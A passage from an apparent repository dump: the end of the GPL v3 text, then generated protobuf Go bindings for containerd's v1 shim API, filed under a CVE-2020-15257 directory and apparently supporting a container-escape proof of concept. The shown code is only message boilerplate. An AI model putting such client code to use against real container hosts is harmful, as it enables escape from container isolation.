found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /CVE-2020-15257/shim.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-gogo. DO NOT EDIT. 2 | // source: github.com/containerd/containerd/runtime/v1/shim/v1/shim.proto 3 | 4 | package main 5 | 6 | import ( 7 | context "context" 8 | fmt "fmt" 9 | types "github.com/containerd/containerd/api/types" 10 | task "github.com/containerd/containerd/api/types/task" 11 | github_com_containerd_ttrpc "github.com/containerd/ttrpc" 12 | proto "github.com/gogo/protobuf/proto" 13 | github_com_gogo_protobuf_types "github.com/gogo/protobuf/types" 14 | types1 "github.com/gogo/protobuf/types" 15 | io "io" 16 | math "math" 17 | reflect "reflect" 18 | strings "strings" 19 | time "time" 20 | ) 21 | 22 | // Reference imports to suppress errors if they are not otherwise used. 23 | var _ = proto.Marshal 24 | var _ = fmt.Errorf 25 | var _ = math.Inf 26 | var _ = time.Kitchen 27 | 28 | // This is a compile-time assertion to ensure that this generated file 29 | // is compatible with the proto package it is being compiled against. 30 | // A compilation error at this line likely means your copy of the 31 | // proto package needs to be updated. 32 | const _ = proto.GoGoProtoPackageIsVersion2 // please upgrade the proto package 33 | 34 | type CreateTaskRequest struct { 35 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 36 | Bundle string `protobuf:"bytes,2,opt,name=bundle,proto3" json:"bundle,omitempty"` 37 | Runtime string `protobuf:"bytes,3,opt,name=runtime,proto3" json:"runtime,omitempty"` 38 | Rootfs []*types.Mount `protobuf:"bytes,4,rep,name=rootfs,proto3" json:"rootfs,omitempty"` 39 | Terminal bool `protobuf:"varint,5,opt,name=terminal,proto3" json:"terminal,omitempty"` 40 | Stdin string `protobuf:"bytes,6,opt,name=stdin,proto3" json:"stdin,omitempty"` 41 | Stdout string `protobuf:"bytes,7,opt,name=stdout,proto3" json:"stdout,omitempty"` 42 | Stderr string `protobuf:"bytes,8,opt,name=stderr,proto3" json:"stderr,omitempty"` 43 | Checkpoint string `protobuf:"bytes,9,opt,name=checkpoint,proto3" json:"checkpoint,omitempty"` 44 | ParentCheckpoint string `protobuf:"bytes,10,opt,name=parent_checkpoint,json=parentCheckpoint,proto3" json:"parent_checkpoint,omitempty"` 45 | Options *types1.Any `protobuf:"bytes,11,opt,name=options,proto3" json:"options,omitempty"` 46 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 47 | XXX_unrecognized []byte `json:"-"` 48 | XXX_sizecache int32 `json:"-"` 49 | } 50 | 51 | func (m *CreateTaskRequest) Reset() { *m = CreateTaskRequest{} } 52 | func (*CreateTaskRequest) ProtoMessage() {} 53 | func (*CreateTaskRequest) Descriptor() ([]byte, []int) { 54 | return fileDescriptor_be1b2ef30ea3b8ef, []int{0} 55 | } 56 | func (m *CreateTaskRequest) XXX_Unmarshal(b []byte) error { 57 | return m.Unmarshal(b) 58 | } 59 | func (m *CreateTaskRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 60 | if deterministic { 61 | return xxx_messageInfo_CreateTaskRequest.Marshal(b, m, deterministic) 62 | } else { 63 | b = b[:cap(b)] 64 | n, err := m.MarshalTo(b) 65 | if err != nil { 66 | return nil, err 67 | } 68 | return b[:n], nil 69 | } 70 | } 71 | func (m *CreateTaskRequest) XXX_Merge(src proto.Message) { 72 | xxx_messageInfo_CreateTaskRequest.Merge(m, src) 73 | } 74 | func (m *CreateTaskRequest) XXX_Size() int { 75 | return m.Size() 76 | } 77 | func (m *CreateTaskRequest) XXX_DiscardUnknown() { 78 | xxx_messageInfo_CreateTaskRequest.DiscardUnknown(m) 79 | } 80 | 81 | var xxx_messageInfo_CreateTaskRequest proto.InternalMessageInfo 82 | 83 | type CreateTaskResponse struct { 84 | Pid uint32 `protobuf:"varint,1,opt,name=pid,proto3" json:"pid,omitempty"` 85 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 86 | XXX_unrecognized []byte `json:"-"` 87 | XXX_sizecache int32 `json:"-"` 88 | } 89 | 90 | func (m *CreateTaskResponse) Reset() { *m = CreateTaskResponse{} } 91 | func (*CreateTaskResponse) ProtoMessage() {} 92 | func (*CreateTaskResponse) Descriptor() ([]byte, []int) { 93 | return fileDescriptor_be1b2ef30ea3b8ef, []int{1} 94 | } 95 | func (m *CreateTaskResponse) XXX_Unmarshal(b []byte) error { 96 | return m.Unmarshal(b) 97 | } 98 | func (m *CreateTaskResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 99 | if deterministic { 100 | return xxx_messageInfo_CreateTaskResponse.Marshal(b, m, deterministic) 101 | } else { 102 | b = b[:cap(b)] 103 | n, err := m.MarshalTo(b) 104 | if err != nil { 105 | return nil, err 106 | } 107 | return b[:n], nil 108 | } 109 | } 110 | func (m *CreateTaskResponse) XXX_Merge(src proto.Message) { 111 | xxx_messageInfo_CreateTaskResponse.Merge(m, src) 112 | } 113 | func (m *CreateTaskResponse) XXX_Size() int { 114 | return m.Size() 115 | } 116 | func (m *CreateTaskResponse) XXX_DiscardUnknown() { 117 | xxx_messageInfo_CreateTaskResponse.DiscardUnknown(m) 118 | } 119 | 120 | var xxx_messageInfo_CreateTaskResponse proto.InternalMessageInfo 121 | 122 | type DeleteResponse struct { 123 | Pid uint32 `protobuf:"varint,1,opt,name=pid,proto3" json:"pid,omitempty"` 124 | ExitStatus uint32 `protobuf:"varint,2,opt,name=exit_status,json=exitStatus,proto3" json:"exit_status,omitempty"` 125 | ExitedAt time.Time `protobuf:"bytes,3,opt,name=exited_at,json=exitedAt,proto3,stdtime" json:"exited_at"` 126 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 127 | XXX_unrecognized []byte `json:"-"` 128 | XXX_sizecache int32 `json:"-"` 129 | } 130 | 131 | func (m *DeleteResponse) Reset() { *m = DeleteResponse{} } 132 | func (*DeleteResponse) ProtoMessage() {} 133 | func (*DeleteResponse) Descriptor() ([]byte, []int) { 134 | return fileDescriptor_be1b2ef30ea3b8ef, []int{2} 135 | } 136 | func (m *DeleteResponse) XXX_Unmarshal(b []byte) error { 137 | return m.Unmarshal(b) 138 | } 139 | func (m *DeleteResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 140 | if deterministic { 141 | return xxx_messageInfo_DeleteResponse.Marshal(b, m, deterministic) 142 | } else { 143 | b = b[:cap(b)] 144 | n, err := m.MarshalTo(b) 145 | if err != nil { 146 | return nil, err 147 | } 148 | return b[:n], nil 149 | } 150 | } 151 | func (m *DeleteResponse) XXX_Merge(src proto.Message) { 152 | xxx_messageInfo_DeleteResponse.Merge(m, src) 153 | } 154 | func (m *DeleteResponse) XXX_Size() int { 155 | return m.Size() 156 | } 157 | func (m *DeleteResponse) XXX_DiscardUnknown() { 158 | xxx_messageInfo_DeleteResponse.DiscardUnknown(m) 159 | } 160 | 161 | var xxx_messageInfo_DeleteResponse proto.InternalMessageInfo 162 | 163 | type DeleteProcessRequest struct { 164 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 165 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 166 | XXX_unrecognized []byte `json:"-"` 167 | XXX_sizecache int32 `json:"-"` 168 | } 169 | 170 | func (m *DeleteProcessRequest) Reset() { *m = DeleteProcessRequest{} } 171 | func (*DeleteProcessRequest) ProtoMessage() {} 172 | func (*DeleteProcessRequest) Descriptor() ([]byte, []int) { 173 | return fileDescriptor_be1b2ef30ea3b8ef, []int{3} 174 | } 175 | func (m *DeleteProcessRequest) XXX_Unmarshal(b []byte) error { 176 | return m.Unmarshal(b) 177 | } 178 | func (m *DeleteProcessRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 179 | if deterministic { 180 | return xxx_messageInfo_DeleteProcessRequest.Marshal(b, m, deterministic) 181 | } else { 182 | b = b[:cap(b)] 183 | n, err := m.MarshalTo(b) 184 | if err != nil { 185 | return nil, err 186 | } 187 | return b[:n], nil 188 | } 189 | } 190 | func (m *DeleteProcessRequest) XXX_Merge(src proto.Message) { 191 | xxx_messageInfo_DeleteProcessRequest.Merge(m, src) 192 | } 193 | func (m *DeleteProcessRequest) XXX_Size() int { 194 | return m.Size() 195 | } 196 | func (m *DeleteProcessRequest) XXX_DiscardUnknown() { 197 | xxx_messageInfo_DeleteProcessRequest.DiscardUnknown(m) 198 | } 199 | 200 | var xxx_messageInfo_DeleteProcessRequest proto.InternalMessageInfo 201 | 202 | type ExecProcessRequest struct { 203 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 204 | Terminal bool `protobuf:"varint,2,opt,name=terminal,proto3" json:"terminal,omitempty"` 205 | Stdin string `protobuf:"bytes,3,opt,name=stdin,proto3" json:"stdin,omitempty"` 206 | Stdout string `protobuf:"bytes,4,opt,name=stdout,proto3" json:"stdout,omitempty"` 207 | Stderr string `protobuf:"bytes,5,opt,name=stderr,proto3" json:"stderr,omitempty"` 208 | Spec *types1.Any `protobuf:"bytes,6,opt,name=spec,proto3" json:"spec,omitempty"` 209 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 210 | XXX_unrecognized []byte `json:"-"` 211 | XXX_sizecache int32 `json:"-"` 212 | } 213 | 214 | func (m *ExecProcessRequest) Reset() { *m = ExecProcessRequest{} } 215 | func (*ExecProcessRequest) ProtoMessage() {} 216 | func (*ExecProcessRequest) Descriptor() ([]byte, []int) { 217 | return fileDescriptor_be1b2ef30ea3b8ef, []int{4} 218 | } 219 | func (m *ExecProcessRequest) XXX_Unmarshal(b []byte) error { 220 | return m.Unmarshal(b) 221 | } 222 | func (m *ExecProcessRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 223 | if deterministic { 224 | return xxx_messageInfo_ExecProcessRequest.Marshal(b, m, deterministic) 225 | } else { 226 | b = b[:cap(b)] 227 | n, err := m.MarshalTo(b) 228 | if err != nil { 229 | return nil, err 230 | } 231 | return b[:n], nil 232 | } 233 | } 234 | func (m *ExecProcessRequest) XXX_Merge(src proto.Message) { 235 | xxx_messageInfo_ExecProcessRequest.Merge(m, src) 236 | } 237 | func (m *ExecProcessRequest) XXX_Size() int { 238 | return m.Size() 239 | } 240 | func (m *ExecProcessRequest) XXX_DiscardUnknown() { 241 | xxx_messageInfo_ExecProcessRequest.DiscardUnknown(m) 242 | } 243 | 244 | var xxx_messageInfo_ExecProcessRequest proto.InternalMessageInfo 245 | 246 | type ExecProcessResponse struct { 247 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 248 | XXX_unrecognized []byte `json:"-"` 249 | XXX_sizecache int32 `json:"-"` 250 | } 251 | 252 | func (m *ExecProcessResponse) Reset() { *m = ExecProcessResponse{} } 253 | func (*ExecProcessResponse) ProtoMessage() {} 254 | func (*ExecProcessResponse) Descriptor() ([]byte, []int) { 255 | return fileDescriptor_be1b2ef30ea3b8ef, []int{5} 256 | } 257 | func (m *ExecProcessResponse) XXX_Unmarshal(b []byte) error { 258 | return m.Unmarshal(b) 259 | } 260 | func (m *ExecProcessResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 261 | if deterministic { 262 | return xxx_messageInfo_ExecProcessResponse.Marshal(b, m, deterministic) 263 | } else { 264 | b = b[:cap(b)] 265 | n, err := m.MarshalTo(b) 266 | if err != nil { 267 | return nil, err 268 | } 269 | return b[:n], nil 270 | } 271 | } 272 | func (m *ExecProcessResponse) XXX_Merge(src proto.Message) { 273 | xxx_messageInfo_ExecProcessResponse.Merge(m, src) 274 | } 275 | func (m *ExecProcessResponse) XXX_Size() int { 276 | return m.Size() 277 | } 278 | func (m *ExecProcessResponse) XXX_DiscardUnknown() { 279 | xxx_messageInfo_ExecProcessResponse.DiscardUnknown(m) 280 | } 281 | 282 | var xxx_messageInfo_ExecProcessResponse proto.InternalMessageInfo 283 | 284 | type ResizePtyRequest struct { 285 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 286 | Width uint32 `protobuf:"varint,2,opt,name=width,proto3" json:"width,omitempty"` 287 | Height uint32 `protobuf:"varint,3,opt,name=height,proto3" json:"height,omitempty"` 288 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 289 | XXX_unrecognized []byte `json:"-"` 290 | XXX_sizecache int32 `json:"-"` 291 | } 292 | 293 | func (m *ResizePtyRequest) Reset() { *m = ResizePtyRequest{} } 294 | func (*ResizePtyRequest) ProtoMessage() {} 295 | func (*ResizePtyRequest) Descriptor() ([]byte, []int) { 296 | return fileDescriptor_be1b2ef30ea3b8ef, []int{6} 297 | } 298 | func (m *ResizePtyRequest) XXX_Unmarshal(b []byte) error { 299 | return m.Unmarshal(b) 300 | } 301 | func (m *ResizePtyRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 302 | if deterministic { 303 | return xxx_messageInfo_ResizePtyRequest.Marshal(b, m, deterministic) 304 | } else { 305 | b = b[:cap(b)] 306 | n, err := m.MarshalTo(b) 307 | if err != nil { 308 | return nil, err 309 | } 310 | return b[:n], nil 311 | } 312 | } 313 | func (m *ResizePtyRequest) XXX_Merge(src proto.Message) { 314 | xxx_messageInfo_ResizePtyRequest.Merge(m, src) 315 | } 316 | func (m *ResizePtyRequest) XXX_Size() int { 317 | return m.Size() 318 | } 319 | func (m *ResizePtyRequest) XXX_DiscardUnknown() { 320 | xxx_messageInfo_ResizePtyRequest.DiscardUnknown(m) 321 | } 322 | 323 | var xxx_messageInfo_ResizePtyRequest proto.InternalMessageInfo 324 | 325 | type StateRequest struct { 326 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 327 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 328 | XXX_unrecognized []byte `json:"-"` 329 | XXX_sizecache int32 `json:"-"` 330 | } 331 | 332 | func (m *StateRequest) Reset() { *m = StateRequest{} } 333 | func (*StateRequest) ProtoMessage() {} 334 | func (*StateRequest) Descriptor() ([]byte, []int) { 335 | return fileDescriptor_be1b2ef30ea3b8ef, []int{7} 336 | } 337 | func (m *StateRequest) XXX_Unmarshal(b []byte) error { 338 | return m.Unmarshal(b) 339 | } 340 | func (m *StateRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 341 | if deterministic { 342 | return xxx_messageInfo_StateRequest.Marshal(b, m, deterministic) 343 | } else { 344 | b = b[:cap(b)] 345 | n, err := m.MarshalTo(b) 346 | if err != nil { 347 | return nil, err 348 | } 349 | return b[:n], nil 350 | } 351 | } 352 | func (m *StateRequest) XXX_Merge(src proto.Message) { 353 | xxx_messageInfo_StateRequest.Merge(m, src) 354 | } 355 | func (m *StateRequest) XXX_Size() int { 356 | return m.Size() 357 | } 358 | func (m *StateRequest) XXX_DiscardUnknown() { 359 | xxx_messageInfo_StateRequest.DiscardUnknown(m) 360 | } 361 | 362 | var xxx_messageInfo_StateRequest proto.InternalMessageInfo 363 | 364 | type StateResponse struct { 365 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 366 | Bundle string `protobuf:"bytes,2,opt,name=bundle,proto3" json:"bundle,omitempty"` 367 | Pid uint32 `protobuf:"varint,3,opt,name=pid,proto3" json:"pid,omitempty"` 368 | Status task.Status `protobuf:"varint,4,opt,name=status,proto3,enum=containerd.v1.types.Status" json:"status,omitempty"` 369 | Stdin string `protobuf:"bytes,5,opt,name=stdin,proto3" json:"stdin,omitempty"` 370 | Stdout string `protobuf:"bytes,6,opt,name=stdout,proto3" json:"stdout,omitempty"` 371 | Stderr string `protobuf:"bytes,7,opt,name=stderr,proto3" json:"stderr,omitempty"` 372 | Terminal bool `protobuf:"varint,8,opt,name=terminal,proto3" json:"terminal,omitempty"` 373 | ExitStatus uint32 `protobuf:"varint,9,opt,name=exit_status,json=exitStatus,proto3" json:"exit_status,omitempty"` 374 | ExitedAt time.Time `protobuf:"bytes,10,opt,name=exited_at,json=exitedAt,proto3,stdtime" json:"exited_at"` 375 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 376 | XXX_unrecognized []byte `json:"-"` 377 | XXX_sizecache int32 `json:"-"` 378 | } 379 | 380 | func (m *StateResponse) Reset() { *m = StateResponse{} } 381 | func (*StateResponse) ProtoMessage() {} 382 | func (*StateResponse) Descriptor() ([]byte, []int) { 383 | return fileDescriptor_be1b2ef30ea3b8ef, []int{8} 384 | } 385 | func (m *StateResponse) XXX_Unmarshal(b []byte) error { 386 | return m.Unmarshal(b) 387 | } 388 | func (m *StateResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 389 | if deterministic { 390 | return xxx_messageInfo_StateResponse.Marshal(b, m, deterministic) 391 | } else { 392 | b = b[:cap(b)] 393 | n, err := m.MarshalTo(b) 394 | if err != nil { 395 | return nil, err 396 | } 397 | return b[:n], nil 398 | } 399 | } 400 | func (m *StateResponse) XXX_Merge(src proto.Message) { 401 | xxx_messageInfo_StateResponse.Merge(m, src) 402 | } 403 | func (m *StateResponse) XXX_Size() int { 404 | return m.Size() 405 | } 406 | func (m *StateResponse) XXX_DiscardUnknown() { 407 | xxx_messageInfo_StateResponse.DiscardUnknown(m) 408 | } 409 | 410 | var xxx_messageInfo_StateResponse proto.InternalMessageInfo 411 | 412 | type KillRequest struct { 413 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 414 | Signal uint32 `protobuf:"varint,2,opt,name=signal,proto3" json:"signal,omitempty"` 415 | All bool `protobuf:"varint,3,opt,name=all,proto3" json:"all,omitempty"` 416 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 417 | XXX_unrecognized []byte `json:"-"` 418 | XXX_sizecache int32 `json:"-"` 419 | } 420 | 421 | func (m *KillRequest) Reset() { *m = KillRequest{} } 422 | func (*KillRequest) ProtoMessage() {} 423 | func (*KillRequest) Descriptor() ([]byte, []int) { 424 | return fileDescriptor_be1b2ef30ea3b8ef, []int{9} 425 | } 426 | func (m *KillRequest) XXX_Unmarshal(b []byte) error { 427 | return m.Unmarshal(b) 428 | } 429 | func (m *KillRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 430 | if deterministic { 431 | return xxx_messageInfo_KillRequest.Marshal(b, m, deterministic) 432 | } else { 433 | b = b[:cap(b)] 434 | n, err := m.MarshalTo(b) 435 | if err != nil { 436 | return nil, err 437 | } 438 | return b[:n], nil 439 | } 440 | } 441 | func (m *KillRequest) XXX_Merge(src proto.Message) { 442 | xxx_messageInfo_KillRequest.Merge(m, src) 443 | } 444 | func (m *KillRequest) XXX_Size() int { 445 | return m.Size() 446 | } 447 | func (m *KillRequest) XXX_DiscardUnknown() { 448 | xxx_messageInfo_KillRequest.DiscardUnknown(m) 449 | } 450 | 451 | var xxx_messageInfo_KillRequest proto.InternalMessageInfo 452 | 453 | type CloseIORequest struct { 454 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 455 | Stdin bool `protobuf:"varint,2,opt,name=stdin,proto3" json:"stdin,omitempty"` 456 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 457 | XXX_unrecognized []byte `json:"-"` 458 | XXX_sizecache int32 `json:"-"` 459 | } 460 | 461 | func (m *CloseIORequest) Reset() { *m = CloseIORequest{} } 462 | func (*CloseIORequest) ProtoMessage() {} 463 | func (*CloseIORequest) Descriptor() ([]byte, []int) { 464 | return fileDescriptor_be1b2ef30ea3b8ef, []int{10} 465 | } 466 | func (m *CloseIORequest) XXX_Unmarshal(b []byte) error { 467 | return m.Unmarshal(b) 468 | } 469 | func (m *CloseIORequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 470 | if deterministic { 471 | return xxx_messageInfo_CloseIORequest.Marshal(b, m, deterministic) 472 | } else { 473 | b = b[:cap(b)] 474 | n, err := m.MarshalTo(b) 475 | if err != nil { 476 | return nil, err 477 | } 478 | return b[:n], nil 479 | } 480 | } 481 | func (m *CloseIORequest) XXX_Merge(src proto.Message) { 482 | xxx_messageInfo_CloseIORequest.Merge(m, src) 483 | } 484 | func (m *CloseIORequest) XXX_Size() int { 485 | return m.Size() 486 | } 487 | func (m *CloseIORequest) XXX_DiscardUnknown() { 488 | xxx_messageInfo_CloseIORequest.DiscardUnknown(m) 489 | } 490 | 491 | var xxx_messageInfo_CloseIORequest proto.InternalMessageInfo 492 | 493 | type ListPidsRequest struct { 494 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 495 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 496 | XXX_unrecognized []byte `json:"-"` 497 | XXX_sizecache int32 `json:"-"` 498 | } 499 | 500 | func (m *ListPidsRequest) Reset() { *m = ListPidsRequest{} } 501 | func (*ListPidsRequest) ProtoMessage() {} 502 | func (*ListPidsRequest) Descriptor() ([]byte, []int) { 503 | return fileDescriptor_be1b2ef30ea3b8ef, []int{11} 504 | } 505 | func (m *ListPidsRequest) XXX_Unmarshal(b []byte) error { 506 | return m.Unmarshal(b) 507 | } 508 | func (m *ListPidsRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 509 | if deterministic { 510 | return xxx_messageInfo_ListPidsRequest.Marshal(b, m, deterministic) 511 | } else { 512 | b = b[:cap(b)] 513 | n, err := m.MarshalTo(b) 514 | if err != nil { 515 | return nil, err 516 | } 517 | return b[:n], nil 518 | } 519 | } 520 | func (m *ListPidsRequest) XXX_Merge(src proto.Message) { 521 | xxx_messageInfo_ListPidsRequest.Merge(m, src) 522 | } 523 | func (m *ListPidsRequest) XXX_Size() int { 524 | return m.Size() 525 | } 526 | func (m *ListPidsRequest) XXX_DiscardUnknown() { 527 | xxx_messageInfo_ListPidsRequest.DiscardUnknown(m) 528 | } 529 | 530 | var xxx_messageInfo_ListPidsRequest proto.InternalMessageInfo 531 | 532 | type ListPidsResponse struct { 533 | Processes []*task.ProcessInfo `protobuf:"bytes,1,rep,name=processes,proto3" json:"processes,omitempty"` 534 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 535 | XXX_unrecognized []byte `json:"-"` 536 | XXX_sizecache int32 `json:"-"` 537 | } 538 | 539 | func (m *ListPidsResponse) Reset() { *m = ListPidsResponse{} } 540 | func (*ListPidsResponse) ProtoMessage() {} 541 | func (*ListPidsResponse) Descriptor() ([]byte, []int) { 542 | return fileDescriptor_be1b2ef30ea3b8ef, []int{12} 543 | } 544 | func (m *ListPidsResponse) XXX_Unmarshal(b []byte) error { 545 | return m.Unmarshal(b) 546 | } 547 | func (m *ListPidsResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 548 | if deterministic { 549 | return xxx_messageInfo_ListPidsResponse.Marshal(b, m, deterministic) 550 | } else { 551 | b = b[:cap(b)] 552 | n, err := m.MarshalTo(b) 553 | if err != nil { 554 | return nil, err 555 | } 556 | return b[:n], nil 557 | } 558 | } 559 | func (m *ListPidsResponse) XXX_Merge(src proto.Message) { 560 | xxx_messageInfo_ListPidsResponse.Merge(m, src) 561 | } 562 | func (m *ListPidsResponse) XXX_Size() int { 563 | return m.Size() 564 | } 565 | func (m *ListPidsResponse) XXX_DiscardUnknown() { 566 | xxx_messageInfo_ListPidsResponse.DiscardUnknown(m) 567 | } 568 | 569 | var xxx_messageInfo_ListPidsResponse proto.InternalMessageInfo 570 | 571 | type CheckpointTaskRequest struct { 572 | Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` 573 | Options *types1.Any `protobuf:"bytes,2,opt,name=options,proto3" json:"options,omitempty"` 574 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 575 | XXX_unrecognized []byte `json:"-"` 576 | XXX_sizecache int32 `json:"-"` 577 | } 578 | 579 | func (m *CheckpointTaskRequest) Reset() { *m = CheckpointTaskRequest{} } 580 | func (*CheckpointTaskRequest) ProtoMessage() {} 581 | func (*CheckpointTaskRequest) Descriptor() ([]byte, []int) { 582 | return fileDescriptor_be1b2ef30ea3b8ef, []int{13} 583 | } 584 | func (m *CheckpointTaskRequest) XXX_Unmarshal(b []byte) error { 585 | return m.Unmarshal(b) 586 | } 587 | func (m *CheckpointTaskRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 588 | if deterministic { 589 | return xxx_messageInfo_CheckpointTaskRequest.Marshal(b, m, deterministic) 590 | } else { 591 | b = b[:cap(b)] 592 | n, err := m.MarshalTo(b) 593 | if err != nil { 594 | return nil, err 595 | } 596 | return b[:n], nil 597 | } 598 | } 599 | func (m *CheckpointTaskRequest) XXX_Merge(src proto.Message) { 600 | xxx_messageInfo_CheckpointTaskRequest.Merge(m, src) 601 | } 602 | func (m *CheckpointTaskRequest) XXX_Size() int { 603 | return m.Size() 604 | } 605 | func (m *CheckpointTaskRequest) XXX_DiscardUnknown() { 606 | xxx_messageInfo_CheckpointTaskRequest.DiscardUnknown(m) 607 | } 608 | 609 | var xxx_messageInfo_CheckpointTaskRequest proto.InternalMessageInfo 610 | 611 | type ShimInfoResponse struct { 612 | ShimPid uint32 `protobuf:"varint,1,opt,name=shim_pid,json=shimPid,proto3" json:"shim_pid,omitempty"` 613 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 614 | XXX_unrecognized []byte `json:"-"` 615 | XXX_sizecache int32 `json:"-"` 616 | } 617 | 618 | func (m *ShimInfoResponse) Reset() { *m = ShimInfoResponse{} } 619 | func (*ShimInfoResponse) ProtoMessage() {} 620 | func (*ShimInfoResponse) Descriptor() ([]byte, []int) { 621 | return fileDescriptor_be1b2ef30ea3b8ef, []int{14} 622 | } 623 | func (m *ShimInfoResponse) XXX_Unmarshal(b []byte) error { 624 | return m.Unmarshal(b) 625 | } 626 | func (m *ShimInfoResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 627 | if deterministic { 628 | return xxx_messageInfo_ShimInfoResponse.Marshal(b, m, deterministic) 629 | } else { 630 | b = b[:cap(b)] 631 | n, err := m.MarshalTo(b) 632 | if err != nil { 633 | return nil, err 634 | } 635 | return b[:n], nil 636 | } 637 | } 638 | func (m *ShimInfoResponse) XXX_Merge(src proto.Message) { 639 | xxx_messageInfo_ShimInfoResponse.Merge(m, src) 640 | } 641 | func (m *ShimInfoResponse) XXX_Size() int { 642 | return m.Size() 643 | } 644 | func (m *ShimInfoResponse) XXX_DiscardUnknown() { 645 | xxx_messageInfo_ShimInfoResponse.DiscardUnknown(m) 646 | } 647 | 648 | var xxx_messageInfo_ShimInfoResponse proto.InternalMessageInfo 649 | 650 | type UpdateTaskRequest struct { 651 | Resources *types1.Any `protobuf:"bytes,1,opt,name=resources,proto3" json:"resources,omitempty"` 652 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 653 | XXX_unrecognized []byte `json:"-"` 654 | XXX_sizecache int32 `json:"-"` 655 | } 656 | 657 | func (m *UpdateTaskRequest) Reset() { *m = UpdateTaskRequest{} } 658 | func (*UpdateTaskRequest) ProtoMessage() {} 659 | func (*UpdateTaskRequest) Descriptor() ([]byte, []int) { 660 | return fileDescriptor_be1b2ef30ea3b8ef, []int{15} 661 | } 662 | func (m *UpdateTaskRequest) XXX_Unmarshal(b []byte) error { 663 | return m.Unmarshal(b) 664 | } 665 | func (m *UpdateTaskRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 666 | if deterministic { 667 | return xxx_messageInfo_UpdateTaskRequest.Marshal(b, m, deterministic) 668 | } else { 669 | b = b[:cap(b)] 670 | n, err := m.MarshalTo(b) 671 | if err != nil { 672 | return nil, err 673 | } 674 | return b[:n], nil 675 | } 676 | } 677 | func (m *UpdateTaskRequest) XXX_Merge(src proto.Message) { 678 | xxx_messageInfo_UpdateTaskRequest.Merge(m, src) 679 | } 680 | func (m *UpdateTaskRequest) XXX_Size() int { 681 | return m.Size() 682 | } 683 | func (m *UpdateTaskRequest) XXX_DiscardUnknown() { 684 | xxx_messageInfo_UpdateTaskRequest.DiscardUnknown(m) 685 | } 686 | 687 | var xxx_messageInfo_UpdateTaskRequest proto.InternalMessageInfo 688 | 689 | type StartRequest struct { 690 | ID string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` 691 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 692 | XXX_unrecognized []byte `json:"-"` 693 | XXX_sizecache int32 `json:"-"` 694 | } 695 | 696 | func (m *StartRequest) Reset() { *m = StartRequest{} } 697 | func (*StartRequest) ProtoMessage() {} 698 | func (*StartRequest) Descriptor() ([]byte, []int) { 699 | return fileDescriptor_be1b2ef30ea3b8ef, []int{16} 700 | } 701 